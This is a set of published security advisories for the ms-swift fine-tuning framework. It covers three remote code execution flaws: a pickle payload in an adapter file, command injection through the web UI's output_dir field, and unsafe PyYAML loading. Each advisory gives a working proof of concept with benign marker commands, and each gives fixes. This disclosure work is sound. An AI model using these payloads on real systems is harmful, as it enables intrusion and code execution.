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SWIFT Deserialization RCE Vulnerability","description":"This appears to be a security vulnerability report describing a remote code execution (RCE) exploit in the ms-swift framework through malicious pickle deserialization in adapter model files. The vulnerability allows arbitrary command execution when loading specially crafted adapter models from ModelScope.\n\nThis occurs when using machine torch version \u003c 2.6.0, while ms-swift accepts torch version \u003e= 2.0\n\n**I. Detailed Description:**\n1. Install ms-swift\n```\npip install ms-swift -U\n```\n\n2. Start web-ui\n```\nswift web-ui --lang en\n```\n\n3. After startup, you can access [http://localhost:7860/](http://localhost:7860/) through your browser to see the launched fine-tuning framework program\n\n4. Upload an adapter model repository (cyjhhh/lora_adapter_4_llama3) on ModelScope, where the lora/adapter_model.bin file is generated through the following code:\n```python\nimport torch, pickle, os\n\nclass MaliciousPayload:\n   def __reduce__(self):\n       return (os.system, (\"touch /tmp/malicious.txt\",))  # Arbitrary command\n\nmalicious_data = {\n   \"v_head.summary.weight\": MaliciousPayload(),\n   \"v_head.summary.bias\": torch.randn(10)\n}\n\nif __name__ == \"__main__\":\n   with open(\"adapter_model.bin\", \"wb\") as f:\n       pickle.dump(malicious_data, f)\n```\n\n5. First training submission: First, fill in the required parameters in the LLM Training interface, including Model id and Dataset Code, and configure the following in the Other params section of Advanced settings\n\n6. Click Begin to submit. You can see the backend command running as follows\n\n7. By reading the ms-swift source code, swift.llm.model.utils#safe_snapshot_download() and modelscope.hub.utils.utils#get_cache_dir(), we can see that adapters are downloaded locally to the path ~/.cache/modelscope. Therefore, the complete local path for the specified remote adapters after download is:\n```\n~/.cache/modelscope/hub/models/cyjhhh/lora_adapter_4_llama3\n```\nWait for the first submission program until the adapters download is complete, then you can click \"kill running task\" on the page to terminate the first training\n\n8. Second training submission, configure the page parameters as follows\n\nClick submit to see the backend command running as follows\n\n9. After waiting for a while, you can see that torch.load() loaded the malicious adapter_model.bin file and successfully executed the command. Related execution information can also be seen in the log file corresponding to --logging_dir\n\n10. Note (Prerequisites)\nRequires machine torch version \u003c 2.6.0, while ms-swift accepts torch version \u003e= 2.0\n\n**II. Vulnerability Proof:**\n1. Remote downloaded adapter malicious model: [[lora_adapter_4_llama3](https://www.modelscope.cn/models/cyjhhh/lora_adapter_4_llama3/files)](https://www.modelscope.cn/models/cyjhhh/lora_adapter_4_llama3/files)\n2. For the second training submission, it's recommended to follow the parameters shown in the screenshots above for reproduction, as it will validate the target modules specified in the base model and adapter config. If they don't match, the program will terminate early. It's also recommended to select the same dataset content as shown in the screenshots\n3. This report only reproduces RCE for one entry point (single path). In reality, there are more than one path in the code that can cause deserialization RCE\n\n**III. Fix Solution:**\n```\nSWIFT has disabled torch.load operations from 3.7 or later.\n```\n\n## Author\n\n* Discovered by: [TencentAISec](https://github.com/TencentAISec)\n* Contact: *[security@tencent.com](mailto:security@tencent.com)*","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-31T14:05:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/modelscope/ms-swift/security/advisories/GHSA-r54c-2xmf-2cf3","https://github.com/modelscope/ms-swift/commit/cc47463bcd25a8720437cf945130f43052eec5e4","https://github.com/advisories/GHSA-r54c-2xmf-2cf3"],"source_kind":"github","identifiers":["GHSA-r54c-2xmf-2cf3"],"repository_url":"https://github.com/modelscope/ms-swift","blast_radius":6.298000562299544,"created_at":"2025-07-31T15:09:54.734Z","updated_at":"2025-08-01T07:16:06.000Z","epss_percentage":null,"epss_percentile":null,"packages":[{"ecosystem":"pypi","package_name":"ms-swift","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.6.3"}],"purl":"pkg:pypi/ms-swift"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNTRjLTJ4bWYtMmNmM84ABKr0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Yzc4LXJtODctNTY3M84ABKrz","url":"https://github.com/advisories/GHSA-7c78-rm87-5673","title":"MS SWIFT WEB-UI RCE Vulnerability","description":"**I. Detailed Description:** \n\nThis includes scenarios, screenshots, vulnerability reproduction methods. For account-related vulnerabilities, please provide test accounts. If the reproduction process is complex, you may record a video, upload it to Taopan, and attach the link.\n\n1. Install ms-swift\n   ```\n   pip install ms-swift -U\n   ```\n\n2. Start web-ui\n   ```\n   swift web-ui --lang en\n   ```\n\n3. After startup, access through browser at [http://localhost:7860/](http://localhost:7860/) to see the launched fine-tuning framework program\n\n4. Fill in necessary parameters\n   In the LLM Training interface, fill in required parameters including Model id, Dataset Code. The --output_dir can be filled arbitrarily as it will be modified later through packet capture\n\n5. Click Begin to start training. Capture packets and modify the parameter corresponding to --output_dir\n\n   You can see the concatenated command being executed in the terminal where web-ui was started\n\n6. Wait for the program to run (testing shows it requires at least 5 minutes), and you can observe the effect of command execution creating files\n\n**II. Vulnerability Proof (Write POC here):**\n```\n/tmp/xxx'; touch /tmp/inject_success_1; #\n```\n\n**III. Fix Solution:**\n1. The swift.ui.llm_train.llm_train.LLMTrain#train() method should not directly concatenate parameters with commands after receiving commands from the frontend\n2. The swift.ui.llm_train.llm_train.LLMTrain#train_local() method should not use os.system for execution, but should be changed to subprocess.run([cmd, arg1, arg2...]) format\n\n## Author\n\n* Discovered by: [TencentAISec](https://github.com/TencentAISec)\n* Contact: *[security@tencent.com](mailto:security@tencent.com)*","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-31T14:04:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/modelscope/ms-swift/security/advisories/GHSA-7c78-rm87-5673","https://github.com/modelscope/ms-swift/commit/32f09e9b0a44f19d44210e2b5b47c58ab01740e1","https://github.com/advisories/GHSA-7c78-rm87-5673"],"source_kind":"github","identifiers":["GHSA-7c78-rm87-5673","CVE-2025-41419"],"repository_url":"https://github.com/modelscope/ms-swift","blast_radius":4.866636798140557,"created_at":"2025-07-31T15:10:00.262Z","updated_at":"2025-10-23T17:42:55.000Z","epss_percentage":null,"epss_percentile":null,"packages":[{"ecosystem":"pypi","package_name":"ms-swift","versions":[{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003c 3.7.0"}],"purl":"pkg:pypi/ms-swift"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Yzc4LXJtODctNTY3M84ABKrz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mbTZjLWY1OWgtN21tZ84ABKry","url":"https://github.com/advisories/GHSA-fm6c-f59h-7mmg","title":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","description":"## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding='utf-8') as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: 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